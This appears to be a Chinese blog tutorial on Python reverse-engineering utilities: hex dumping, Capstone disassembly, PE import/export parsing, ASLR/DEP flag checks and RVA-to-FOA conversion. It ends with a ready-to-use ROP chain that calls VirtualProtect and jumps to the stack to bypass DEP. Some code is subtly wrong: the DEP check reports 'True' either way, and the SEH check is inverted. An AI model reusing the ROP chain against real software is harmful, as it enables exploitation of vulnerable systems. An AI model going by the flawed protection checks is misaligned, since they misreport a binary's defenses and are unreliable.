Python实现进制转换与反汇编

通过利用反汇编库,并使用python编写工具,读取PE结构中的基地址偏移地址,找到OEP并计算成FOA文件偏移,使用反汇编库对其进行反汇编,并从反汇编代码里查找事先准备好的ROP绕过代码,让其自动完成搜索,这里给出实现思路与部分代码片段。

十六进制转换器 可自行添加上,文件与偏移对应关系,即可实现指定位置的数据转换,这里给出坑爹版实现,自己晚膳吧。

#coding:utf-8
import os,sys
import binascii

# binascii.a2b_hex("4d")

if __name__ == "__main__":
count = 0
size = os.path.getsize("qq.exe")
print("文件指针: {}".format(size))
fp = open("qq.exe","rb")

lis = []

for item in range(500):
char = fp.read(1)
count = count + 1
if count % 16 == 0:
if ord(char) < 16:
print("0" + hex(ord(char))[2:])
else:
print(hex(ord(char))[2:])
else:
if ord(char) < 16:
print("0" + hex(ord(char))[2:] + " ",end="")
else:
print(hex(ord(char))[2:] + " ",end="")

二进制与字符串互转

import os

def to_ascii(h):
list_s = []
for i in range(0, len(h), 2):
list_s.append(chr(int(h[i:i+2], 16)))
return ''.join(list_s)

def to_hex(s):
list_h = []
for c in s:
list_h.append(hex(ord(c))[2:])
return ''.join(list_h)

with open("d://run.exe","rb") as fp:
lis = []
for x in range(10240):
for i in range(64):
char = fp.read(1)
print(to_ascii(hex(ord(char))[2:]),end="")
print("")

反汇编框架

import os
from capstone import *

CODE = b"\x55\x8b\xec\x6a\x00\xff\x15\x44\x30\x11\x00"
md = Cs(CS_ARCH_X86, CS_MODE_32)
for i in md.disasm(CODE, 0x1000):
print("大小: %3s 地址: %-5s 指令: %-7s 操作数: %-10s"% (i.size,i.address,i.mnemonic,i.op_str))

print("*" * 100)

CODE64 = b"\x55\x48\x8b\x05\xb8\x13\x00\x00\xe9\xea\xbe\xad\xde\xff\x25\x23\x01\x00\x00\xe8\xdf\xbe\xad\xde\x74\xff"
md = Cs(CS_ARCH_X86, CS_MODE_64)
for i in md.disasm(CODE64, 0x1000):
print("大小: %3s 地址: %-5s 指令: %-7s 操作数: %-10s"% (i.size,i.address,i.mnemonic,i.op_str))

读取pE结构的代码 读取导入导出表,用Python 实在太没意思了,请看C/C++ 实现PE解析工具笔记。

def ScanImport(filename):
pe = pefile.PE(filename)
print("-" * 100)
try:
for x in pe.DIRECTORY_ENTRY_IMPORT:
for y in x.imports:
print("[*] 模块名称: %-20s 导入函数: %-14s" %((x.dll).decode("utf-8"),(y.name).decode("utf-8")))
except Exception:
pass
print("-" * 100)

def ScanExport(filename):
pe = pefile.PE(filename)
print("-" * 100)
try:
for exp in pe.DIRECTORY_ENTRY_EXPORT.symbols:
print("[*] 导出序号: %-5s 模块地址: %-20s 模块名称: %-15s"
%(exp.ordinal,hex(pe.OPTIONAL_HEADER.ImageBase + exp.address),(exp.name).decode("utf-8")))
except:
pass
print("-" * 100)

验证DEP+ASLR

# 随机基址 => hex(pe.OPTIONAL_HEADER.DllCharacteristics) & 0x40 == 0x40
if( (pe.OPTIONAL_HEADER.DllCharacteristics & 64)==64 ):
print("基址随机化: True")
else:
print("基址随机化: False")
# 数据不可执行 DEP => hex(pe.OPTIONAL_HEADER.DllCharacteristics) & 0x100 == 0x100
if( (pe.OPTIONAL_HEADER.DllCharacteristics & 256)==256 ):
print("DEP保护状态: True")
else:
print("DEP保护状态: True")
# 强制完整性=> hex(pe.OPTIONAL_HEADER.DllCharacteristics) & 0x80 == 0x80
if ( (pe.OPTIONAL_HEADER.DllCharacteristics & 128)==128 ):
print("强制完整性: True")
else:
print("强制完整性: False")
if ( (pe.OPTIONAL_HEADER.DllCharacteristics & 1024)==1024 ):
print("SEH异常保护: False")
else:
print("SEH异常保护: True")

VA转FOA地址

import os
import pefile

def RVA_To_FOA(FilePath):
pe = pefile.PE(FilePath)
ImageBase = pe.OPTIONAL_HEADER.ImageBase

for item in pe.sections:
if str(item.Name.decode('UTF-8').strip(b'\x00'.decode())) == ".text":
#print("虚拟地址: 0x%.8X 虚拟大小: 0x%.8X" %(item.VirtualAddress,item.Misc_VirtualSize))
VirtualAddress = item.VirtualAddress
VirtualSize = item.Misc_VirtualSize
ActualOffset = item.PointerToRawData
StartVA = hex(ImageBase + VirtualAddress)
StopVA = hex(ImageBase + VirtualAddress + VirtualSize)
print("[+] 代码段起始地址: {} 结束: {} 实际偏移:{} 长度: {}".format(StartVA,StopVA,ActualOffset,VirtualSize))

with open(FilePath,"rb") as fp:
fp.seek(ActualOffset)
HexCode = fp.read(VirtualSize)
print(HexCode)

RVA_To_FOA("d://lyshark.exe")

给出一条过保护的ROP链

rop = struct.pack ('<L',0x7c349614)   # ret
rop += struct.pack('<L',0x7c34728e) # pop eax
rop += struct.pack('<L',0xfffffcdf) #
rop += struct.pack('<L',0x7c379c10) # add ebp,eax
rop += struct.pack('<L',0x7c34728e) # pop eax
rop += struct.pack('<L',0xfffffdff) # value = 0x201
rop += struct.pack('<L',0x7c353c73) # neg eax
rop += struct.pack('<L',0x7c34373a) # pop ebx
rop += struct.pack('<L',0xffffffff) #
rop += struct.pack('<L',0x7c345255) # inc ebx
rop += struct.pack('<L',0x7c352174) # add ebx,eax
rop += struct.pack('<L',0x7c344efe) # pop edx
rop += struct.pack('<L',0xffffffc0) # 0x40h
rop += struct.pack('<L',0x7c351eb1) # neg edx
rop += struct.pack('<L',0x7c36ba51) # pop ecx
rop += struct.pack('<L',0x7c38f2f4) # &writetable
rop += struct.pack('<L',0x7c34a490) # pop edi
rop += struct.pack('<L',0x7c346c0b) # ret (rop nop)
rop += struct.pack('<L',0x7c352dda) # pop esi
rop += struct.pack('<L',0x7c3415a2) # jmp [eax]
rop += struct.pack('<L',0x7c34d060) # pop eax
rop += struct.pack('<L',0x7c37a151) # ptr to virtualProtect()
rop += struct.pack('<L',0x625011ed) # jmp esp